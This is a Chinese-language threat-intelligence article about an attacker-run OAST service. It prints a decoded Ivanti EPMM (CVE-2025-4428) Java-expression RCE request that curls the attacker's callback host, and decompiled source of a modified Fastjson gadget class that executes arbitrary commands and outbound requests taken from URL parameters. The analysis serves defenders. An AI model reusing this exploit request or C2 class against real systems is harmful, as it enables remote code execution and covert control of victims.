摘要

本報告詳細技術分析了一項複雜且長期運作的攻擊行動,該行動利用一個專用的 Out-of-band Application Security Testing (OAST) 服務。本調查重點在於其技術基礎設施、攻擊 Payload 的組成,以及對如 Nuclei 和 Fastjson 反序列化 gadgets 等公開工具的修改。關鍵發現包括使用客製化 Java class 進行命令與控制 (C2) 以及策略性地在主要雲端平台上部署基礎設施以規避偵測。此分析突顯了 Threat actor 結合現成掃描工具與客製化、持續性 C2 組件的不斷演進的戰術,強調了需要進階的應用程式安全測試方法,例如 應用程式安全測試 (AST) 、 靜態應用程式安全測試 (SAST) 、 動態應用程式安全測試 (DAST) 和 交互式應用程式安全測試 (IAST) ,來對抗此類威脅。

揭密!威脅 actor 如何用私有 OAST 服務進行 RCE 攻擊?技術架構與 C2 程式碼詳解 | 資訊安全新聞

1. 簡介

Out-of-band Application Security Testing (OAST) 服務是現代漏洞研究和攻擊的關鍵組件。它們允許攻擊者確認導致外部網路互動的攻擊是否成功,例如伺服器端請求偽造 (SSRF) 或遠端程式碼執行 (RCE) [1]。雖然許多機會主義的 Threat actor 依賴公共 OAST 服務,但發現一個由攻擊者操作的專用 OAST 主機 i-sh.detectors-testing.com ,標誌著這是一項更具結構性且持續性的攻擊行動 [1]。本報告將剖析該基礎設施的技術組件及相關的攻擊技術。

2. 技術基礎設施與 OAST 機制

該攻擊行動的核心是一個託管在主要雲端服務供應商上的專用 OAST 服務,該服務已被觀察到持續在多個通訊埠 (80, 443 和 389) 上提供 Interactsh 服務 [1]。使用專用、長期存在的 OAST 基礎設施對於大流量、機會主義的掃描來說並不常見,這表明 Threat actor 具備更高層級的操作安全性和資源投入 [1]。選擇主要雲端服務供應商作為託管地點提供了一個顯著優勢,因為源自此類供應商的網路流量較少可能被預設的防禦機制阻擋 [1]。

OAST 服務的主要功能是接收來自受害目標的回呼。一個典型的攻擊 Payload,在本例中針對 Ivanti EPMM 漏洞 (CVE-2025-4428),展示了該機制。該 Payload 在原始 HTTP Request 中是 Base64 編碼的,旨在目標系統上執行一個命令,該命令會發起到 OAST 主機的外部連線。解碼後的 Payload 揭示了在 Java 表達式語言環境下的 RCE 命令注入:

GET /api/v2/featureusage?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20d4bqsd6e47mo47d93lpgq55d3j111y6em.i-sh.detectors-testing.com')%7d HTTP/1.1
Host: VC_REDACTED
...

該 Payload 的關鍵部分是 Java 表達式: ''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')) .exec('curl d4bqsd6e47mo47d93lpgq55d3j111y6em.i-sh.detectors-testing.com') 。這是一個經典的 Java RCE gadget chain,它使用 Reflection 來呼叫 Runtime.getRuntime().exec() ,執行命令 curl d4bqsd6e47mo47d93lpgq55d3j111y6em.i-sh.detectors-testing.com 。獨特的子網域 ( d4bqsd6e47mo47d93lpgq55d3j111y6em ) 作為特定攻擊嘗試的唯一識別碼,允許攻擊者將成功的回呼與最初的目標和漏洞建立關聯。

3. 客製化的命令與控制組件

對 OAST 基礎設施的進一步分析揭示了一個開放的目錄,其中託管了一個客製化的 Java class 檔案 TouchFile.class ,它是已知 Fastjson 1.2.47 反序列化攻擊 gadget 的修改版本 [1]。這種客製化是 Threat actor 願意修改和增強公共工具以滿足其特定需求的關鍵指標 [1]。 TouchFile class 的反編譯結構顯示了超出原始 gadget 簡單檔案創建行為的增強型 C2 能力。

3.1. TouchFile.class 分析

該 class 利用靜態初始化區塊 ( static {} ) 在 class 載入時執行程式碼,這是 Java 反序列化攻擊中常見的技術。該程式碼首先嘗試從 class 的 codebase URL 中解析查詢參數,特別尋找 cmd 和 http 參數。這個機制允許攻擊者動態控制在受害主機上執行的 Payload。

  1. public class TouchFile {
  2. static {
  3. try {
  4. // 1. Default command for initial success confirmation
  5. String defaultCmd = "touch /tmp/success3125";
  6. List < String > cmds = new ArrayList < > ();
  7. List < String > urls = new ArrayList < > ();
  8. // 2. Extract query parameters from the class's codebase URL
  9. URL codebase = TouchFile.class.getProtectionDomain().getCodeSource().getLocation();
  10. if (codebase != null) {
  11. String s = codebase.toString();
  12. int idx = s.indexOf("?");
  13. if (idx != -1 && idx < s.length() - 1) {
  14. Map < String, List < String >> params = new HashMap < > ();
  15. String query = s.substring(idx + 1);
  16. // Parameter parsing logic...
  17. if (params.containsKey("cmd")) {
  18. cmds.addAll(params.get("cmd")); // Dynamic command execution
  19. }
  20. if (params.containsKey("http")) {
  21. urls.addAll(params.get("http")); // Dynamic HTTP request (OAST/C2)
  22. }
  23. }
  24. }
  25. // 3. Execute default command if no 'cmd' parameter is provided
  26. if (cmds.isEmpty()) {
  27. cmds.add(defaultCmd);
  28. }
  29. // 4. Execute all collected commands
  30. for (String cmd: cmds) {
  31. Process p = Runtime.getRuntime().exec(cmd.split(" "));
  32. p.waitFor();
  33. }
  34. // 5. Make all collected HTTP requests
  35. for (String u: urls) {
  36. HttpURLConnection c = (HttpURLConnection) new URL(u).openConnection();
  37. c.setRequestMethod("GET");
  38. c.getResponseCode();
  39. }
  40. } catch (Exception e) {
  41. e.printStackTrace(System.err);
  42. }
  43. }
  44. }

該程式碼的邏輯結構旨在提供一個穩健、多階段的 Payload。如果沒有提供參數,它會預設執行一個簡單的檔案創建 ( touch /tmp/success3125 ) 以進行基本的攻擊確認。然而,包含參數解析邏輯允許攻擊者透過 cmd 參數傳遞任意命令,並透過 http 參數觸發額外的外部 HTTP Request。這種設計將一個簡單的概念驗證 (proof-of-concept) 轉變成一個靈活的 C2 工具,能夠執行次要 Payload 或建立持續性的通訊通道。

3.2. 攻擊鏈的架構表示

從最初的掃描到最終 C2 執行的整個攻擊鏈,可以使用狀態圖來視覺化。這突顯了攻擊的多步驟性質,它比典型的單階段攻擊更為複雜。

graph TD A["Attacker Scanner
(Nuclei)"] -->|"Exploit Payload
(CVE-2025-4428)"| B(Vulnerable Target); B -->|RCE Triggered:
curl OAST Subdomain| C{OAST Host:
i-sh.detectors-testing.com}; C -->|Callback Received:
Exploit Confirmed| A; A -->|Second Stage:
Fastjson Deserialization| D(Target Loads
TouchFile.class); D -->|Class Static Initializer
Executes| E{"Check URL Parameters
(cmd/http)"}; E -->|If 'cmd' present| F["Execute Arbitrary Command
(e.g., Reverse Shell)"]; E -->|If 'http' present| G["Make Outbound
HTTP Request
(e.g., New C2)"]; E -->|If neither present| H["Execute Default Command
(touch /tmp/success3125)"]; F -->|C2 Established| A; G -->|New OAST/C2
Callback| A;

圖 1:從初始掃描到客製化 C2 執行的攻擊鏈架構。

4. 工具和操作戰術

Threat actor 的操作戰術特點是商品工具和客製化組件的結合。使用 Nuclei,一個流行的開源漏洞掃描器,為攻擊嘗試提供了一個廣泛的基礎 [1]。觀察到 Threat actor 同時使用當前和過時的 Nuclei 模板,例如已移除的 grafana-file-read.yaml ,表明他們可能擁有非標準或客製化維護的模板集合 [1]。這種做法在尋求維護一套私有、有效攻擊的 Threat actor 中很常見,如同在錯誤懸賞 (bug bounties) 的客製化模板集合環境中討論的那樣。

選擇 OAST 尤其值得注意。OAST 是一種專門形式的應用程式安全測試,專注於 Out-Of-Band Interaction。應用程式安全測試 (AST) 的總體概念對於防禦和攻擊都至關重要,涵蓋了各種方法 [2]:

  • 靜態應用程式安全測試 (SAST) :無需執行即可分析原始碼以尋找漏洞 [3]。
  • 動態應用程式安全測試 (DAST) :透過模擬攻擊從外部測試正在運行的應用程式 [4]。
  • 交互式應用程式安全測試 (IAST) :結合 SAST 和 DAST 的元素,透過在執行期間監控應用程式 [5]。

攻擊者的 OAST 服務實質上充當了一個專業的、客製化的 DAST 組件,用於確認其攻擊嘗試的成功。OAST 主機的長期持續性,可追溯到一年多前,進一步強調了該攻擊行動的結構化性質,與典型機會主義掃描器的快速基礎設施更換形成對比 [1]。

5. 結論

對持續性 OAST 攻擊行動的分析揭示了一個複雜的 Threat actor,他們已經超越了純粹的機會主義掃描。透過建立專用、長期存在的 OAST 基礎設施,並開發客製化的 C2 Payload,例如增強的 TouchFile.class ,該 Threat actor 展示了對持續攻擊的投入。其技術複雜性在於對已知 RCE 技術(Java reflection、Fastjson 反序列化)的修改,以及對雲端基礎設施的策略性利用以實現隱蔽和持續性。本案例研究是一個重要的提醒,即防禦策略必須不斷發展,不僅要偵測初次的攻擊嘗試,還要偵測微妙的、客製化的 C2 組件以及支援基礎設施的長期持續性。